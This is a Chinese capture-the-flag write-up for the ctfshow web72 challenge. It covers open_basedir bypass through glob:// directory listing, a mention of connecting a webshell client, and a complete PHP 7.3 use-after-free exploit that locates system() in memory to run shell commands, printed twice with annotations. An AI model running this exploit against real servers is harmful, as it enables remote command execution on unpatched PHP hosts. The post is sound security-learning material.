[ctfshow web入门] web72

发布于:2025-05-15 ⋅ 阅读:(17) ⋅ 点赞:(0)

信息收集

下载index.php并查看,和上题差不多

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

查根目录的时候失败了,不允许使用scandir进行目录穿透。关于open_basedir的博客:
open_basedir绕过
PHP之如何绕过open_basedir
open_basedir绕过
绕过 open_basedir
简单来说就是open_basedir是个白名单,如果设置,仅白名单可访问;如果不设置,白名单功能不启用,所有地址都能访问
在这里插入图片描述

解题

蚁剑连接,简单粗暴

上面那篇博客写入一句话木马,然后连蚁剑接。我这只是蚁剑直接连接就连上了,不亏是蚁剑,这用就连上了。我还在考虑用什么函数写入一句话木马呢
在这里插入图片描述

手工获取

当然,做题不是目的,是过程
所以我们应当学习怎么手工绕过

首要目标是获取flag所在目录的信息,因为这个flag肯定不可能是原名了
symlinkini_setfile_put_contents被禁用了
仅有glob可用
使用glob协议读取目录

c=foreach(new DirectoryIterator("glob:///*") as $a){
    echo($a->__toString().' ');
}
ob_flush();

不要在payload里写注释
//遍历输出,末尾加一个
标签,这能好看些

c=if ( $a = opendir("glob:///*") ) {
    while ( ($file = readdir($a)) !== false ) {
        echo $file."<br>";
    }
    closedir($a);
    ob_flush();
}

glob路径解析顺序:
通配符展开:glob:// 会先展开通配符,生成实际路径列表。
路径检查:PHP 在展开后的路径上应用 open_basedir 检查。
如果 glob:// 的原始路径(如 glob:///*)本身在 open_basedir 允许的范围内(例如允许 /tmp),但展开后的路径(如 /etc/passwd)超出范围。php7.4+版本已修复7.0.x-7.3.x部分版本开始陆续修复
在这里插入图片描述

怎么读,找大佬的代码读
其中data=“”“payload”“”,python中的""" """不是表示多行注释,而是多行字符串
如果你要写到hackbar里的话,需要使用python的urllib.parse.quote(),或是找个在线网站转也行

payload我写下面了,太长了
在这里插入图片描述

payload

c=?><?php
ctfshow("ls /;cat /flag0.txt");
 
function ctfshow($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }
 
    class Helper {
        public $a, $b, $c, $d;
    }
 
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
 
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf('%c',$ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
 
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf('%c',$v & 0xff);
            $v >>= 8;
        }
    }
 
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
 
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
 
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
 
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
 
            if($p_type == 1 && $p_flags == 6) {
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) {
                $text_size = $p_memsz;
            }
        }
 
        if(!$data_addr || !$text_size || !$data_size)
            return false;
 
        return [$data_addr, $text_size, $data_size];
    }
 
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
 
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
 
            return $data_addr + $i * 8;
        }
    }
 
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }
 
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
 
            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
 
    function trigger_uaf($arg) {
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
 
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
 
    $n_alloc = 10;
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
 
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
 
    $helper = new Helper;
    $helper->b = function ($x) { };
 
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
 
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
 
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
 
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
 
    $closure_obj = str2ptr($abc, 0x20);
 
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
 
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
 
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
 
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
 
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
 
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
 
    ($helper->b)($cmd);
    exit();
}

这段代码非常难读,而且是php的,不好调试,如果要调试可以使用var_export(),这个函数未被禁用
或者自己搭建php7.3.11版本的,因为题目就是这个版本的,我自己弄得7.3.33版本太高,已经修复了这个问题


web71    目录    web73



代码简单解析

这一小段内容并不重要,这是关于pwn的东西

接下来讲一讲代码大概得思路,其他的有兴趣自己看看吧,我也没完全看懂的,只能挑我看懂的讲
ELF结构我也没学过,我只懂一点PE结构,所以类似的操作我也能略懂一点
想要手动实验需要一个编译好的php版本,并调试这个带符号的php版本,这也太麻烦了,肯定很多坑。我就肉眼看看,很多东西没有实验,只是基于我认知给出的一些猜测。如果有错误,还请指正。

摘抄自php-src版本php7-3.11
我没找到zend_ulong的定义,就当是个ulong
无论我怎么算,这些结构体对应代码的偏移仍有出入,这必须得手动调试才能看出整个程序的精妙之处

如果有大佬读得懂这些代码,也可以评论区指点我一下

typedef struct _zend_refcounted_h {
	uint32_t         refcount;			/* reference counter 32-bit */
	union {
		uint32_t type_info;
	} u;
} zend_refcounted_h;


struct _zend_string {
	zend_refcounted_h gc;
	zend_ulong        h;                /* hash value */
	size_t            len;
	char              val[1];			//字符串头指针
};


struct _zend_object {
	zend_refcounted_h gc;// :0
	uint32_t          handle; // :8 // TODO: may be removed ???
	zend_class_entry *ce; // :12 (+4 进行8位对齐?)
	const zend_object_handlers *handlers;
	HashTable        *properties;
	zval              properties_table[1]; //字符串头指针
};

typedef struct _zend_internal_function {
	/* Common elements */
	zend_uchar type;
	zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
	uint32_t fn_flags;
	zend_string* function_name;
	zend_class_entry *scope;
	zend_function *prototype;
	uint32_t num_args;
	uint32_t required_num_args;
	zend_internal_arg_info *arg_info; // 0x30
	/* END of common elements */

	zif_handler handler;
	struct _zend_module_entry *module;
	void *reserved[ZEND_MAX_RESERVED_RESOURCES]; // 0x48 假设sizeof(zif_handler) = 8
} zend_internal_function;

typedef union _zend_function {
	zend_uchar type;	/* MUST be the first element of this struct! */
	uint32_t   quick_arg_flags;

	struct {
		zend_uchar type;  /* never used */
		zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
		uint32_t fn_flags;
		zend_string *function_name;
		zend_class_entry *scope;
		union _zend_function *prototype;
		uint32_t num_args;
		uint32_t required_num_args;
		zend_arg_info *arg_info;
	} common;

	zend_op_array op_array;
	zend_internal_function internal_function;
}zend_function;



typedef struct _zend_closure {
	zend_object       std; // :0
	zend_function     func; // :0x2C 假设需要对齐8则这里是0x30
	zval              this_ptr; // :(0x28)0x30+0x48
	zend_class_entry *called_scope;
	zif_handler       orig_internal_handler;
} zend_closure;
c=?><?php
ctfshow("ls /;cat /flag0.txt");
 
function ctfshow($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            // 这个unset不知道有什么作用,可能只是事先清理一下,以防赋值触发其他的垃圾回收导致失败
            unset($this->a);
            // 先拿到堆栈,或者说我们先拿了它的指针,后面有大用
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) { 
                $backtrace = debug_backtrace();
            }
        }
    }
 	
 	// 某种结构体,猜不出来,php我甚至不知道这个结构体的内存分布
    class Helper {
        public $a, $b, $c, $d;
    }
    
 	// 8个1组,小端存储 (str ==> 小端hex)
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
 	
 	// 8个一组,小端存储hex,转字符串
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf('%c',$ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    
 	//向字符串的指定偏移写入小端序的数值
 	//详细:把$v(小端存储)的内容写到$str偏移$p的位置,写入大小是$n
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf('%c',$v & 0xff);
            $v >>= 8;
        }
    }
 
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        // 查struct _zend_string,如果32位机器下ulong size_t是4字节的话,那么8+4+4刚好是0x10,这是我猜的
        // 当然,如果size_t是8怎么办,那样就是8+8+8=0x18
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        var_export($leak);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
 
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
 
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
 
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
 
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
 
        if(!$data_addr || !$text_size || !$data_size)
            return false;
 
        return [$data_addr, $text_size, $data_size];
    }
 
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
 
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
 
            return $data_addr + $i * 8;
        }
    }
 
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
 
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
 
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
 
    function trigger_uaf($arg) {
        // 这里刚好是79个A,那么总占位80个字符,可能是某种结构体的大小,也可能必须是80个占位符才能实现溢出
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
 
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
 
    // 使用str_shuffle生成的字符串是结构体zend_string
    $n_alloc = 10;
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        
    
    trigger_uaf('x');
    // [ zend_string 1 ] -> [ zend_string 2 ] -> ... -> [ zend_string 10 ] -> [ 释放的 $a 内存 ]
    
    // var_export($backtrace); echo "\n<br>------------------------";
    /*
	array (
	  0 => 
	  array (
	    'file' => '/var/www/html/index.php(19) : eval()\'d code',
	    'line' => 139,
	    'function' => '__destruct',
	    'class' => 'Vuln',
	    'type' => '->',
	    'args' => 
	    array (
	    ),
	  ),
	  1 => 
	  array (
	    'file' => '/var/www/html/index.php(19) : eval()\'d code',
	    'line' => 153,
	    'function' => 'trigger_uaf',
	    'args' => 
	    array (
	      0 => 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',
	    ),
	  ),
	  2 => 
	  array (
	    'file' => '/var/www/html/index.php(19) : eval()\'d code',
	    'line' => 3,
	    'function' => 'ctfshow',
	    'args' => 
	    array (
	      0 => 'ls /;cat /flag0.txt',
	    ),
	  ),
	  3 => 
	  array (
	    'file' => '/var/www/html/index.php',
	    'line' => 19,
	    'function' => 'eval',
	  ),
	)
	*/
	// 这里取$backtrace[1]['args'][0]也就是 trigger_uaf里的79个A,这个指针理应被释放了,却被$backtrace保存下来了
	// 这个指针被称作悬空指针,我不知道这个指针如何保存的,但不论是堆还是栈里这个指针及其内容都相当容易被覆盖
    $abc = $backtrace[1]['args'][0];
 	//var_export($abc); echo "\n<br>------------------------";
 	
 	// 这里应该是在精心构造一个闭包对象,恰好覆盖在之前使用的trigger_uaf函数堆栈上
 	// 闭包对象指的是function($x) {} 这个匿名函数对象
    $helper = new Helper;
    $helper->b = function ($x) { };
	// 这里无法成功打印$abc或是$backtrace了,因为堆栈被破坏了
	
 	// 检查是否覆盖成功,成功了不可能是0开头,也不是79个A
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
 	
 	// 现在需要手工恢复堆栈
 	
 	// 这里的细节只有实验了才能知道,我无法猜测
 	// 这里是在读取被覆盖的信息,这可能是一些指针
 	// 例如根据closure_handler猜测,在读取的可能是之前的闭包对象结构体的内容
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
 
    // 这种可能是写入一些标志,这写得对照运行内存进行查看
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
 
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
 
    $closure_obj = str2ptr($abc, 0x20);
 
 /*
 这段非常像找导出表的的函数
+----------------+      +-----------------+      +-----------------+
| leak()         | →    | get_binary_base | →    | parse_elf       |
| 泄漏内存数据   |      | 获取ELF基地址    |      | 解析ELF段信息   |
+----------------+      +-----------------+      +-----------------+
                                 ↓
                   		+---------------------------------+
                  		| get_basic_funcs  定位基础函数表 |
                    	+---------------------------------+
                                 ↓
                    	+---------------------------------+
                    	| get_system       获取system地址 |
                    	+---------------------------------+
*/
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
 
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
 
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
 
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
 
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
 
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
 
    ($helper->b)($cmd);
    exit();
}

web71    目录    web73